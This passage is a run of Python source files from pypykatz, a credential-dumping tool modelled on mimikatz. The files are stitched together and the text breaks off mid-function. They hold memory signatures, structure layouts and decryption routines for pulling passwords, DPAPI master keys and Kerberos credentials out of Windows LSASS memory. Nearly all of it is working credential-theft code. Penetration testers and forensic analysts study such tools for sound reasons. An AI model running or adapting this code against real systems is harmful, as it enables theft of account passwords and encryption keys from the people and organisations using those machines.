466 self.key_pattern.offset_to_DES_key_ptr = -79
467 self.key_pattern.offset_to_AES_key_ptr = -22
468
469 self.key_struct = KIWI_BCRYPT_KEY81
470 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
471
472 class LSA_x86_6(LsaTemplate_NT6):
473 def __init__(self):
474 LsaTemplate_NT6.__init__(self)
475
476 self.key_pattern = LSADecyptorKeyPattern()
477 self.key_pattern.signature = b'\x6a\x02\x6a\x10\x68'
478 self.key_pattern.IV_length = 16
479 self.key_pattern.offset_to_IV_ptr = 5
480 self.key_pattern.offset_to_DES_key_ptr = -79
481 self.key_pattern.offset_to_AES_key_ptr = -22
482
483 self.key_struct = KIWI_BCRYPT_KEY81
484 self.key_handle_struct = KIWI_BCRYPT_HANDLE_KEY
485
486
487
488 templates = {
489 'nt6' : {
490 'x64' : {
491 '1' : LSA_x64_1(),
492 '2' : LSA_x64_2(),
493 '3' : LSA_x64_3(),
494 '4' : LSA_x64_4(),
495 '5' : LSA_x64_5(),
496 '6' : LSA_x64_6(),
497 },
498 'x86': {
499 '1' : LSA_x86_1(),
500 '2' : LSA_x86_2(),
501 '3' : LSA_x86_3(),
502 '4' : LSA_x86_4(),
503 '5' : LSA_x86_5(),
504 '6' : LSA_x86_6(),
505 }
506 }
507 }
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
8 from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5
9 from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6
10
11 class LsaTemplate:
12 def __init__(self):
13 pass
14
15
16 @staticmethod
17 def get_template_brute(sysinfo):
18 if sysinfo.architecture == KatzSystemArchitecture.X86:
19 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
20 return LsaTemplate_NT5.get_template_brute(sysinfo)
21 else:
22 return LsaTemplate_NT6.get_template_brute(sysinfo)
23
24 elif sysinfo.architecture == KatzSystemArchitecture.X64:
25 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
26 return LsaTemplate_NT5.get_template_brute(sysinfo)
27 else:
28 return LsaTemplate_NT6.get_template_brute(sysinfo)
29
30
31 @staticmethod
32 def get_template(sysinfo):
33 if sysinfo.architecture == KatzSystemArchitecture.X86:
34 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
35 return LsaTemplate_NT5.get_template(sysinfo)
36 else:
37 return LsaTemplate_NT6.get_template(sysinfo)
38
39 elif sysinfo.architecture == KatzSystemArchitecture.X64:
40 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
41 return LsaTemplate_NT5.get_template(sysinfo)
42 else:
43 return LsaTemplate_NT6.get_template(sysinfo)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from abc import ABC, abstractmethod
7 import logging
8 from pypykatz.commons.common import hexdump
9 from pypykatz.commons.win_datatypes import RTL_AVL_TABLE
10
11 class Logger:
12 def __init__(self, module_name, package_name, sysinfo):
13 self.package_name = package_name
14 self.module_name = module_name
15 self.sysinfo = sysinfo
16 self.logger = logging.getLogger('pypykatz')
17
18 def get_level(self):
19 return self.logger.getEffectiveLevel()
20
21 def log(self, msg, loglevel = 1):
22 first = True
23 for line in msg.split('\n'):
24 if first == True:
25 self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line))
26 first = False
27 else:
28 self.logger.log(loglevel, '[%s] [%s] %s' % (self.package_name, self.module_name, line))
29
30 class PackageTemplate:
31 def __init__(self, package_name, sysinfo = None):
32 self.logger = Logger('template', package_name, sysinfo)
33 self.package_name = package_name
34 self.sysinfo = sysinfo
35
36 def log(self, msg, loglevel = 6):
37 self.logger.log(loglevel, '%s' % msg)
38
39 def log_template(self, struct_var_name, struct_template_obj, loglevel = 6):
40 """"
41 Generic logging function to show which template was selected for which structure
42 """
43 self.logger.log('Selecting template for %s: %s' % (struct_var_name, struct_template_obj.__name__), loglevel)
44
45
46 @staticmethod
47 @abstractmethod
48 def get_template(sysinfo):
49 pass
50
51
52 class PackageDecryptor:
53 def __init__(self, package_name, lsa_decryptor, sysinfo, reader):
54 self.logger = Logger('decryptor', package_name, sysinfo)
55 self.package_name = package_name
56 self.lsa_decryptor = lsa_decryptor
57 self.sysinfo = sysinfo
58 self.reader = reader
59
60 def log(self, msg, loglevel = 6):
61 self.logger.log('%s' % msg, loglevel)
62
63 def find_signature(self, module_name, signature):
64 """
65 Searches for a sequence of bytes in the module identified by module_name
66 """
67 self.log('Searching for key struct signature')
68 fl = self.reader.find_in_module(module_name, self.decryptor_template.signature)
69 if len(fl) == 0:
70 raise Exception('Signature was not found in module %s Signature: %s' % (module_name, self.decryptor_template.signature.hex()))
71 return fl[0]
72
73 def log_ptr(self, ptr, name, datasize = None):
74 """
75 Reads datasize bytes from the memory region pointed by the pointer.
76 ptr = the pointer to be read
77 name = display name for the memory structure, usually the data structure's name the pointer is pointing at
78 """
79 level = self.logger.get_level()
80 if level > 6 or level == 0:
81 return
82
83 if not datasize:
84 if level == 5:
85 datasize = 0x10
86 if level == 4:
87 datasize = 0x20
88 if level == 3:
89 datasize = 0x50
90 if level == 2:
91 datasize = 0x100
92 if level == 1:
93 datasize = 0x200
94
95 pos = self.reader.tell()
96 try:
97 self.reader.move(ptr)
98 data = self.reader.peek(datasize)
99 self.reader.move(pos)
100 self.log('%s: %s\n%s' % (name, hex(ptr), hexdump(data, start = ptr)))
101 except Exception as e:
102 self.log('%s: Logging failed for position %s' % (name, hex(ptr)))
103
104 def decrypt_password(self, enc_password, bytes_expected = False, trim_zeroes = True):
105 """
106 Common decryption method for LSA encrypted passwords. Result be string or hex encoded bytes (for machine accounts).
107 Also supports bad data, as orphaned credentials may contain actual password OR garbage
108
109 enc_password: bytes The encrypted password bytes
110 bytes_expected: bool :indication that the result of decryption is bytes, no need for encoding
111 trim_zeroes: bool: if a text is expected then this variable tells wether we should trim the trailing zeroes after decryption
112 """
113 dec_password = None
114 if len(enc_password) % 8 == 0: # checking if encrypted password is of correct blocksize
115 temp = self.lsa_decryptor.decrypt(enc_password)
116 if temp and len(temp) > 0:
117 if bytes_expected == False:
118 try: # normal password
119 dec_password = temp.decode('utf-16-le')
120 except: # machine password
121 dec_password = temp.hex()
122 else: # if not machine password, then check if we should trim it
123 if trim_zeroes == True:
124 dec_password = dec_password.rstrip('\x00')
125 else:
126 dec_password = temp
127
128 else: # special case for (unusable/plaintext?) orphaned credentials
129 dec_password = enc_password
130
131 return dec_password
132
133 def walk_avl(self, node_ptr, result_ptr_list):
134 """
135 Walks the AVL tree, extracts all OrderedPointer values and returns them in a list
136 node_ptr: POINTER : the Parent->RightChild pointer in the AVL tree
137 result_ptr_list: list: the list to store the results in
138 """
139 node = node_ptr.read(self.reader, override_finaltype = RTL_AVL_TABLE)
140 if node is None:
141 self.log('AVL walker found empty tree')
142 return
143 if node.OrderedPointer.value != 0:
144 result_ptr_list.append(node.OrderedPointer.value)
145 if node.BalancedRoot.LeftChild.value != 0 :
146 self.walk_avl(node.BalancedRoot.LeftChild, result_ptr_list)
147 if node.BalancedRoot.RightChild.value != 0 :
148 self.walk_avl(node.BalancedRoot.RightChild, result_ptr_list)
149
150 def walk_list(self, entry_ptr, callback, max_walk = 255, override_ptr = None):
151 """
152 Iterating over a linked list. Linked lists in packages are circural, so the end of the list is tested is the Flink is pointing to an address already seen.
153
154 entry_ptr = pointer type object the will yiled the first entry when called read()
155 callback = function that will be called when a new entry is found. callback method will be invoked with one parameter, the entry itself
156
157 max_walk = limit the amount of entries to be iterating
158 override_ptr = if this parameter is set the pointer will be resolved as if it would be pointing to this structure
159 """
160
161 #if entry_ptr.value == 0:
162 # self.log('walk_list called with a NULL pointer! This could mean that parsing is failing, double check this!')
163 # return
164
165 entries_seen = {}
166 entries_seen[entry_ptr.location] = 1
167 max_walk = max_walk
168 self.log_ptr(entry_ptr.value, 'List entry -%s-' % entry_ptr.finaltype.__name__ if not override_ptr else override_ptr.__name__)
169 while True:
170 if override_ptr:
171 entry = entry_ptr.read(self.reader, override_ptr)
172 else:
173 entry = entry_ptr.read(self.reader)
174
175 if not entry:
176 break
177
178 callback(entry)
179
180
181
182 max_walk -= 1
183 self.log('%s next ptr: %x' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value))
184 self.log('%s seen: %s' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , entry.Flink.value not in entries_seen))
185 self.log('%s max_walk: %d' % (entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__ , max_walk))
186 if entry.Flink.value != 0 and entry.Flink.value not in entries_seen and max_walk != 0:
187 entries_seen[entry.Flink.value] = 1
188 self.log_ptr(entry.Flink.value, 'Next list entry -%s-' % entry.Flink.finaltype.__name__ if not override_ptr else override_ptr.__name__)
189 entry_ptr = entry.Flink
190 else:
191 break
192
193
194
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from .credman.templates import *
7 from .dpapi.templates import *
8 from .dpapi.decryptor import *
9 from .kerberos.templates import *
10 from .kerberos.decryptor import *
11 from .livessp.templates import *
12 from .livessp.decryptor import *
13 from .msv.templates import *
14 from .msv.decryptor import *
15 from .ssp.templates import *
16 from .ssp.decryptor import *
17 from .tspkg.templates import *
18 from .tspkg.decryptor import *
19 from .wdigest.templates import *
20 from .wdigest.decryptor import *
21
22 __credman__ = ['CredmanTemplate']
23 __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential']
24 __kerberos__ = ['KerberosTemplate','KerberosDecryptor']
25 __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential']
26 __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential']
27 __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential']
28 __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential']
29 __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential']
30
31
32 __all__ = __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 #from minidump.win_datatypes import *
7 from pypykatz.commons.common import hexdump
8 from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild
9 from pypykatz.commons.win_datatypes import LSA_UNICODE_STRING, ULONG, PVOID, PWSTR, POINTER, LIST_ENTRY
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class CredmanTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Credman')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = CredmanTemplate()
22
23 if sysinfo.architecture == KatzSystemArchitecture.X64:
24 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
25 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5
26 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
27 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60
28 else:
29 template.list_entry = KIWI_CREDMAN_LIST_ENTRY
30 else:
31 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
32 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_5_X86
33 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
34 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_60_X86
35 else:
36 template.list_entry = KIWI_CREDMAN_LIST_ENTRY_X86
37
38 template.log_template('list_entry', template.list_entry)
39
40 return template
41
42 class PKIWI_CREDMAN_LIST_ENTRY_5_X86(POINTER):
43 def __init__(self, reader):
44 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_5_X86)
45
46 class KIWI_CREDMAN_LIST_ENTRY_5_X86:
47 def __init__(self, reader):
48 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
49 #
50 reader.move(reader.tell() - 32)
51 reader.align() #not sure if it's needed here
52 #
53 self.cbEncPassword = ULONG(reader).value
54 reader.align()
55 self.encPassword = PWSTR(reader)
56 self.unk0 = ULONG(reader).value
57 self.unk1 = ULONG(reader).value
58 self.unk2 = PVOID(reader)
59 self.unk3 = PVOID(reader)
60 self.UserName = PWSTR(reader)
61 self.cbUserName = ULONG(reader).value
62 reader.align()
63 self.Flink = PKIWI_CREDMAN_LIST_ENTRY_5(reader)
64 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_5(reader)
65 self.server1 = LSA_UNICODE_STRING(reader)
66 self.unk6 = PVOID(reader)
67 self.unk7 = PVOID(reader)
68 self.user = LSA_UNICODE_STRING(reader)
69 self.unk8 = ULONG(reader).value
70 reader.align()
71 self.server2 = LSA_UNICODE_STRING
72
73 class PKIWI_CREDMAN_LIST_ENTRY_60_X86(POINTER):
74 def __init__(self, reader):
75 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_60_X86)
76
77 class KIWI_CREDMAN_LIST_ENTRY_60_X86:
78 def __init__(self, reader):
79 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
80 #
81 reader.move(reader.tell() - 32)
82 reader.align() #not sure if it's needed here
83 #
84 #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell()))
85 #
86 self.cbEncPassword = ULONG(reader).value
87 reader.align()
88 self.encPassword = PWSTR(reader)
89 self.unk0 = ULONG(reader).value
90 self.unk1 = ULONG(reader).value
91 self.unk2 = PVOID(reader)
92 self.unk3 = PVOID(reader)
93 self.UserName = PWSTR(reader)
94 self.cbUserName = ULONG(reader).value
95 reader.align()
96 self.Flink = PKIWI_CREDMAN_LIST_ENTRY_60(reader)
97 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_60(reader)
98 self.type = LSA_UNICODE_STRING(reader)
99 self.unk5 = PVOID(reader)
100 self.server1 = LSA_UNICODE_STRING(reader)
101 self.unk6 = PVOID(reader)
102 self.unk7 = PVOID(reader)
103 self.unk8 = PVOID(reader)
104 self.unk9 = PVOID(reader)
105 self.unk10 = PVOID(reader)
106 self.user = LSA_UNICODE_STRING(reader)
107 self.unk11 = ULONG(reader).value
108 reader.align()
109 #print('a')
110 #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x50), start = reader.tell()))
111 self.server2 = LSA_UNICODE_STRING(reader)
112
113 class PKIWI_CREDMAN_LIST_ENTRY_X86(POINTER):
114 def __init__(self, reader):
115 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_X86)
116
117 class KIWI_CREDMAN_LIST_ENTRY_X86:
118 def __init__(self, reader):
119 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
120 #
121 reader.move(reader.tell() - 32)
122 reader.align() #not sure if it's needed here
123
124 #
125 self.cbEncPassword = ULONG(reader).value
126 reader.align()
127 self.encPassword = PWSTR(reader)
128 self.unk0 = ULONG(reader).value
129 self.unk1 = ULONG(reader).value
130 self.unk2 = PVOID(reader)
131 self.unk3 = PVOID(reader)
132 self.UserName = PWSTR(reader)
133 self.cbUserName = ULONG(reader).value
134 reader.align()
135 self.Flink = PKIWI_CREDMAN_LIST_ENTRY(reader)
136 self.Blink = PKIWI_CREDMAN_LIST_ENTRY(reader)
137 self.unk4 = LIST_ENTRY(reader)
138 self.type = LSA_UNICODE_STRING(reader)
139 self.unk5 = PVOID(reader)
140 self.server1 = LSA_UNICODE_STRING(reader)
141 self.unk6 = PVOID(reader)
142 self.unk7 = PVOID(reader)
143 self.unk8 = PVOID(reader)
144 self.unk9 = PVOID(reader)
145 self.unk10 = PVOID(reader)
146 self.user = LSA_UNICODE_STRING(reader)
147 self.unk11 = ULONG(reader).value
148 reader.align()
149 self.server2 = LSA_UNICODE_STRING(reader)
150
151
152 class PKIWI_CREDMAN_LIST_ENTRY_5(POINTER):
153 def __init__(self, reader):
154 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_5)
155
156 class KIWI_CREDMAN_LIST_ENTRY_5:
157 def __init__(self, reader):
158 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
159 #
160 reader.move(reader.tell() - 56)
161 reader.align() #not sure if it's needed here
162 #
163 self.cbEncPassword = ULONG(reader).value
164 reader.align()
165 self.encPassword = PWSTR
166 self.unk0 = ULONG(reader).value
167 self.unk1 = ULONG(reader).value
168 self.unk2 = PVOID(reader)
169 self.unk3 = PVOID(reader)
170 self.UserName = PWSTR(reader)
171 self.cbUserName = ULONG(reader).value
172 reader.align()
173 self.Flink = PKIWI_CREDMAN_LIST_ENTRY_5
174 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_5
175 self.server1 = LSA_UNICODE_STRING
176 self.unk6 = PVOID(reader)
177 self.unk7 = PVOID(reader)
178 self.user = LSA_UNICODE_STRING(reader)
179 self.unk8 = ULONG(reader).value
180 reader.align()
181 self.server2 = LSA_UNICODE_STRING
182
183 class PKIWI_CREDMAN_LIST_ENTRY_60(POINTER):
184 def __init__(self, reader):
185 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY_60)
186
187 class KIWI_CREDMAN_LIST_ENTRY_60:
188 def __init__(self, reader):
189 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
190 #
191 reader.move(reader.tell() - 56)
192 reader.align() #not sure if it's needed here
193 #
194 #input('KIWI_CREDMAN_LIST_ENTRY_60 \n%s' % hexdump(reader.peek(0x200), start = reader.tell()))
195 #
196 self.cbEncPassword = ULONG(reader).value
197 reader.align()
198 self.encPassword = PWSTR(reader)
199 self.unk0 = ULONG(reader).value
200 self.unk1 = ULONG(reader).value
201 self.unk2 = PVOID(reader)
202 self.unk3 = PVOID(reader)
203 self.UserName = PWSTR(reader)
204 self.cbUserName = ULONG(reader).value
205 reader.align()
206 self.Flink = PKIWI_CREDMAN_LIST_ENTRY_60
207 self.Blink = PKIWI_CREDMAN_LIST_ENTRY_60
208 self.type = LSA_UNICODE_STRING(reader)
209 self.unk5 = PVOID(reader)
210 self.server1 = LSA_UNICODE_STRING(reader)
211 self.unk6 = PVOID(reader)
212 self.unk7 = PVOID(reader)
213 self.unk8 = PVOID(reader)
214 self.unk9 = PVOID(reader)
215 self.unk10 = PVOID(reader)
216 self.user = LSA_UNICODE_STRING(reader)
217 self.unk11 = ULONG(reader).value
218 reader.align()
219 self.server2 = LSA_UNICODE_STRING(reader)
220
221 class PKIWI_CREDMAN_LIST_ENTRY(POINTER):
222 def __init__(self, reader):
223 super().__init__(reader, KIWI_CREDMAN_LIST_ENTRY)
224
225 class KIWI_CREDMAN_LIST_ENTRY:
226 def __init__(self, reader):
227 #IMPORTANT NOTICE, THE STRUCTURE STARTS BEFORE THE FLINK/BLINK POINTER, SO WE NEED TO READ BACKWARDS
228 #
229 #input('KIWI_CREDMAN_LIST_ENTRY \n%s' % hexdump(reader.peek(0x50), start = reader.tell()))
230 reader.move(reader.tell() - 56)
231 reader.align() #not sure if it's needed here
232
233 #input('KIWI_CREDMAN_LIST_ENTRY \n%s' % hexdump(reader.peek(0x200), start = reader.tell()))
234 #
235 self.cbEncPassword = ULONG(reader).value
236 reader.align()
237 self.encPassword = PWSTR(reader)
238 self.unk0 = ULONG(reader).value
239 self.unk1 = ULONG(reader).value
240 self.unk2 = PVOID(reader)
241 self.unk3 = PVOID(reader)
242 self.UserName = PWSTR(reader)
243 self.cbUserName = ULONG(reader).value
244 reader.align()
245 self.Flink = PKIWI_CREDMAN_LIST_ENTRY(reader)
246 self.Blink = PKIWI_CREDMAN_LIST_ENTRY(reader)
247 self.unk4 = LIST_ENTRY(reader)
248 self.type = LSA_UNICODE_STRING(reader)
249 self.unk5 = PVOID(reader)
250 self.server1 = LSA_UNICODE_STRING(reader)
251 self.unk6 = PVOID(reader)
252 self.unk7 = PVOID(reader)
253 self.unk8 = PVOID(reader)
254 self.unk9 = PVOID(reader)
255 self.unk10 = PVOID(reader)
256 self.user = LSA_UNICODE_STRING(reader)
257 self.unk11 = ULONG(reader).value
258 reader.align()
259 self.server2 = LSA_UNICODE_STRING(reader)
260
261 class PKIWI_CREDMAN_LIST_STARTER(POINTER):
262 def __init__(self, reader):
263 super().__init__(reader, KIWI_CREDMAN_LIST_STARTER)
264
265 class KIWI_CREDMAN_LIST_STARTER:
266 def __init__(self, reader):
267 self.unk0 = ULONG(reader)
268 reader.align()
269 self.start = PKIWI_CREDMAN_LIST_ENTRY(reader)
270 #...
271
272 class PKIWI_CREDMAN_SET_LIST_ENTRY(POINTER):
273 def __init__(self, reader):
274 super().__init__(reader, KIWI_CREDMAN_SET_LIST_ENTRY)
275
276 class KIWI_CREDMAN_SET_LIST_ENTRY:
277 def __init__(self, reader):
278 self.Flink = PKIWI_CREDMAN_SET_LIST_ENTRY(reader)
279 self.Blink = PKIWI_CREDMAN_SET_LIST_ENTRY(reader)
280 self.unk0 = ULONG(reader).value
281 reader.align()
282 self.list1 = PKIWI_CREDMAN_LIST_STARTER(reader)
283 self.list2 = PKIWI_CREDMAN_LIST_STARTER(reader)
284
285
286
287
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6 import json
7 import hashlib
8 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
9
10 class DpapiCredential:
11 def __init__(self):
12 self.credtype = 'dpapi'
13 self.luid = None
14 self.key_guid = None
15 self.masterkey = None
16 self.sha1_masterkey = None
17
18 def to_dict(self):
19 t = {}
20 t['credtype'] = self.credtype
21 t['key_guid'] = self.key_guid
22 t['masterkey'] = self.masterkey
23 t['sha1_masterkey'] = self.sha1_masterkey
24 t['luid'] = self.luid
25 return t
26
27 def to_json(self):
28 return json.dumps(self.to_dict())
29
30 def __str__(self):
31 t = '\t== DPAPI [%x]==\n' % self.luid
32 t += '\t\tluid %s\n' % self.luid
33 t += '\t\tkey_guid %s\n' % self.key_guid
34 t += '\t\tmasterkey %s\n' % self.masterkey
35 t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey
36 return t
37
38 class DpapiDecryptor(PackageDecryptor):
39 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
40 super().__init__('Dpapi', lsa_decryptor, sysinfo, reader)
41 self.decryptor_template = decryptor_template
42 self.credentials = []
43
44
45 def find_first_entry(self, modulename):
46 position = self.find_signature(modulename,self.decryptor_template.signature)
47 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
48 ptr_entry = self.reader.get_ptr(ptr_entry_loc)
49 return ptr_entry, ptr_entry_loc
50
51 def add_entry(self, dpapi_entry):
52
53 if dpapi_entry and dpapi_entry.keySize > 0 and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
55 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
56
57 c = DpapiCredential()
58 c.luid = dpapi_entry.LogonId
59 c.key_guid = dpapi_entry.KeyUid
60 c.masterkey = dec_masterkey.hex()
61 c.sha1_masterkey = sha_masterkey
62 self.credentials.append(c)
63
64 def start(self):
65 for modulename in ['lsasrv.dll','dpapisrv.dll']:
66 try:
67 entry_ptr_value, entry_ptr_loc = self.find_first_entry(modulename)
68 except Exception as e:
69 self.log('Failed to find structs! Reason: %s' % e)
70 continue
71 self.reader.move(entry_ptr_loc)
72 entry_ptr = self.decryptor_template.list_entry(self.reader)
73 self.walk_list(entry_ptr, self.add_entry)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6
7 from minidump.win_datatypes import FILETIME, ULONG
8 from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild
9 from pypykatz.commons.win_datatypes import LUID, GUID, POINTER
10 from pypykatz.lsadecryptor.package_commons import PackageTemplate
11
12 class DpapiTemplate(PackageTemplate):
13 def __init__(self):
14 super().__init__('Dpapi')
15 self.signature = None
16 self.first_entry_offset = None
17 self.list_entry = None
18
19 @staticmethod
20 def get_template(sysinfo):
21 template = DpapiTemplate()
22 template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY
23 template.log_template('list_entry', template.list_entry)
24
25 if sysinfo.architecture == KatzSystemArchitecture.X64:
26 if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value:
27 template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85'
28 template.first_entry_offset = -4
29
30 elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value:
31 template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84'
32 template.first_entry_offset = -4
33
34 elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
35 template.signature = b'\x33\xc0\xeb\x20\x48\x8d\x05'
36 template.first_entry_offset = 7
37
38 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
39 template.signature = b'\x4c\x89\x1f\x48\x89\x47\x08\x49\x39\x43\x08\x0f\x85'
40 template.first_entry_offset = -4
41
42 elif WindowsMinBuild.WIN_BLUE.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value:
43 template.signature = b'\x08\x48\x39\x48\x08\x0f\x85'
44 template.first_entry_offset = -10
45
46 elif WindowsBuild.WIN_10_1507.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1607.value:
47 template.signature = b'\x48\x89\x4e\x08\x48\x39\x48\x08'
48 template.first_entry_offset = -7
49
50 elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1607.value:
51 template.signature = b'\x48\x89\x4f\x08\x48\x89\x78\x08'
52 template.first_entry_offset = 11
53
54 else:
55 #currently this doesnt make sense, but keeping it here for future use
56 raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber))
57
58
59 elif sysinfo.architecture == KatzSystemArchitecture.X86:
60 if sysinfo.buildnumber < WindowsMinBuild.WIN_8.value:
61 template.signature = b'\x33\xc0\x40\xa3'
62 template.first_entry_offset = -4
63
64 elif WindowsMinBuild.WIN_8.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_BLUE.value:
65 template.signature = b'\x8b\xf0\x81\xfe\xcc\x06\x00\x00\x0f\x84'
66 template.first_entry_offset = -16
67
68 elif sysinfo.buildnumber >= WindowsMinBuild.WIN_BLUE.value:
69 template.signature = b'\x33\xc0\x40\xa3'
70 template.first_entry_offset = -4
71
72 else:
73 raise Exception('Unknown architecture! %s' % sysinfo.architecture)
74
75
76 return template
77
78
79 class PKIWI_MASTERKEY_CACHE_ENTRY(POINTER):
80 def __init__(self, reader):
81 super().__init__(reader, KIWI_MASTERKEY_CACHE_ENTRY)
82
83
84 class KIWI_MASTERKEY_CACHE_ENTRY:
85 def __init__(self, reader):
86 self.Flink = PKIWI_MASTERKEY_CACHE_ENTRY(reader)
87 self.Blink = PKIWI_MASTERKEY_CACHE_ENTRY(reader)
88 self.LogonId = LUID(reader).value
89 self.KeyUid = GUID(reader).value
90 self.insertTime = FILETIME(reader)
91 self.keySize = ULONG(reader).value
92 self.key = reader.read(self.keySize)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 import io
6
7 #from pypykatz.commons.common import *
8 #from pypykatz.commons.filetime import *
9 #from .templates import *
10 from pypykatz.commons.kerberosticket import KerberosTicket, KerberosTicketType
11 from pypykatz.lsadecryptor.package_commons import PackageDecryptor
12 from pypykatz.commons.win_datatypes import PLIST_ENTRY, PRTL_AVL_TABLE
13 from pypykatz.commons.common import WindowsMinBuild
14
15 class KerberosCredential:
16 def __init__(self):
17 self.credtype = 'kerberos'
18 self.username = None
19 self.password = None
20 self.domainname = None
21 self.luid = None
22 self.tickets = []
23
24 def __str__(self):
25 t = '\t== Kerberos ==\n'
26 t += '\t\tUsername: %s\n' % self.username
27 t += '\t\tDomain: %s\n' % self.domainname
28 t += '\t\tPassword: %s\n' % self.password
29
30 # TODO: check if users actually need this.
31 # I think it's not useful to print out the kerberos ticket data as string, as noone uses it directly.
32 # It is better to use the -k flag an export the tickets
33 #for ticket in self.tickets:
34 # t += '\t\t%s' % str(ticket).replace('\n','\n\t\t\t')[:-3]
35
36 return t
37
38 def to_dict(self):
39 t = {}
40 t['credtype'] = self.credtype
41 t['username'] = self.username
42 t['password'] = self.password
43 t['domainname'] = self.domainname
44 t['luid'] = self.luid
45 t['tickets'] = []
46 for ticket in self.tickets:
47 t['tickets'] = ticket.to_dict()
48
49 return t
50
51
52 class KerberosDecryptor(PackageDecryptor):
53 def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo):
54 super().__init__('Kerberos', lsa_decryptor, sysinfo, reader)
55 self.decryptor_template = decryptor_template
56 self.credentials = []
57
58 self.current_ticket_type = None
59 self.current_cred = None
60
61 def find_first_entry(self):
62 position = self.find_signature('kerberos.dll',self.decryptor_template.signature)
63 ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset)
